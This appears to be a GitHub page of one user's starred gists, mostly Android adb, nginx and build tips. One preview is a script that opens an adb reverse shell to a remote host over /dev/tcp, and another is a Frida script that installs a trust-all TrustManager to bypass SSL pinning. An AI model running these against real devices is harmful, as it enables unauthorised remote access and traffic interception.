Skip to content

Instantly share code, notes, and snippets.

View naveenrobo's full-sized avatar
👋

Naveen Sakthivel naveenrobo

👋
View GitHub Profile
@denji
denji / nginx-tuning.md
Last active July 23, 2024 23:45
NGINX tuning for best performance

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

@oozzal
oozzal / pull_apk.md
Last active May 6, 2022 16:32
Pull Apk from device
  1. Determine the package name of the app, e.g. "com.example.someapp". Skip this step if you already know the package name.

adb shell pm list packages

Look through the list of package names and try to find a match between the app in question and the package name. This is usually easy, but note that the package name can be completely unrelated to the app name. If you can't recognize the app from the list of package names, try finding the app in Google Play using a browser. The URL for an app in Google Play contains the package name.

  1. Get the full path name of the APK file for the desired package.
@soheilhy
soheilhy / nginxproxy.md
Last active May 16, 2024 08:59
How to proxy web apps using nginx?

Virtual Hosts on nginx (CSC309)

When hosting our web applications, we often have one public IP address (i.e., an IP address visible to the outside world) using which we want to host multiple web apps. For example, one may wants to host three different web apps respectively for example1.com, example2.com, and example1.com/images on the same machine using a single IP address.

How can we do that? Well, the good news is Internet browsers

@Pulimet
Pulimet / AdbCommands
Last active July 25, 2024 13:23
Adb useful commands list
Hi All!
I've recently launched a tool that wraps many of the commands here with a user interface. This desktop application is currently available for macOS. There's a roadmap outlining planned features for the near future.
Feel free to request any features you'd like to see, and I'll prioritize them accordingly.
One of the most important aspects of this application is that every command executed behind the scenes is displayed in a special log section. This allows you to see exactly what’s happening and learn from it.
Here's the link to the repository: https://github.com/Pulimet/ADBugger
App Description:
ADBugger is a desktop tool designed for debugging and QA of Android devices and emulators. It simplifies testing, debugging, and performance analysis by offering device management, automated testing, log analysis, and remote control capabilities. This ensures smooth app performance across various setups.
@ArthurSav
ArthurSav / build.gradle
Created February 15, 2018 18:05
Increment version number and update version name on your android builds automatically. Version name is generated by the last tag on your git commits.
apply from: 'versions.gradle'
android {
defaultConfig {
versionName VERSION_NAME
versionCode VERSION_CODE.toInteger()
}
buildTypes {
release {}
public static String getPseudoUniqueID() {
/*
Initially we append all the information with the number "35" so all together we get
17 characters and the generatedId starts from 35 which makes it look like a IMEI.
But later I commented out DISPLAY,HOST and ID because they can be changed and
then the generated ID won't be unique anymore
*/
String generatedID = "35" + Build.BOARD.length() % 10 + Build.BRAND.length() % 10 +
Build.CPU_ABI.length() % 10 + Build.DEVICE.length() % 10 +
@random-robbie
random-robbie / android-shell.sh
Last active May 5, 2024 13:40
Android Reverse Shell
#!/bin/bash
# Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
# By Random_Robbie
adb connect $1:5555
adb shell sh -i >& /dev/tcp/$2/4444 0>&1
echo "[*] Should have a shell now ..... Be nice :) [*]"
@kuamit5516
kuamit5516 / Fix-Slow-apt-get-update-Optimize-Kali-Linux-2019
Created January 22, 2019 12:00
Fix-Slow-apt-get-update-Optimize-Kali-Linux-2019-New-Working-Code
Open Terminal and type - leafpad /etc/resolv.conf
add this - nameserver 8.8.8.8
nameserver 8.8.4.4
save and exit
now open new terminal and type - leafpad /etc/apt/sources.list
add this - #Repositories :
deb http://kali.cs.nctu.edu.tw/kali kali-rolling main contrib non-free
deb-src http://kali.cs.nctu.edu.tw/kali kali-rolling main contrib non-free
now save and exit
@teknogeek
teknogeek / universalUnpin.js
Last active July 2, 2024 20:36
Frida Universal™ SSL Unpinner
Java.perform(function() {
console.log('\n[.] Cert Pinning Bypass');
// Create a TrustManager that trusts everything
console.log('[+] Creating a TrustyTrustManager that trusts everything...');
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var TrustyTrustManager = Java.registerClass({
name: 'com.example.TrustyTrustManager',
implements: [X509TrustManager],
methods: {